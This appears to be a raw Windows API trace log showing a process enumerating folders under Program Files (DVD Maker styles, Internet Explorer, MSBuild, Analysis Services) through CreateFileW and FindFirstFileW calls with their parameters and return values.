	[0051.071] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.072] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.079] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.080] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.088] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.088] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.093] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.093] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.102] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.102] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.114] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.114] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.118] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.118] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.144] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.144] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.150] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.150] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.154] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.154] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.161] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.161] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.172] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.172] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.176] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.176] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.185] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.185] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.185] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.185] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.200] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US" (normalized: "c:\\program files\\dvd maker\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.200] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\*", lpFindFileData=0x123ed97c | out: lpFindFileData=0x123ed97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.203] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer" (normalized: "c:\\program files\\internet explorer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.203] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.204] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP" (normalized: "c:\\program files\\internet explorer\\signup"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.204] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x123ed97c | out: lpFindFileData=0x123ed97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.205] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US" (normalized: "c:\\program files\\internet explorer\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.205] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\*", lpFindFileData=0x123ed97c | out: lpFindFileData=0x123ed97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.214] CreateFileW (lpFileName="C:\\Program Files\\MSBuild" (normalized: "c:\\program files\\msbuild"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.214] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xec640720, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec640720, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.215] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft" (normalized: "c:\\program files\\msbuild\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.215] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\*", lpFindFileData=0x123ed97c | out: lpFindFileData=0x123ed97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.216] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.216] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.216] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.216] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.218] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.218] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services" (normalized: "c:\\program files\\microsoft analysis services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.219] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecb4f5e0, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xecb4f5e0, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB" (normalized: "c:\\program files\\microsoft analysis services\\as oledb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.219] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x123ed97c | out: lpFindFileData=0x123ed97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.220] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.223] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
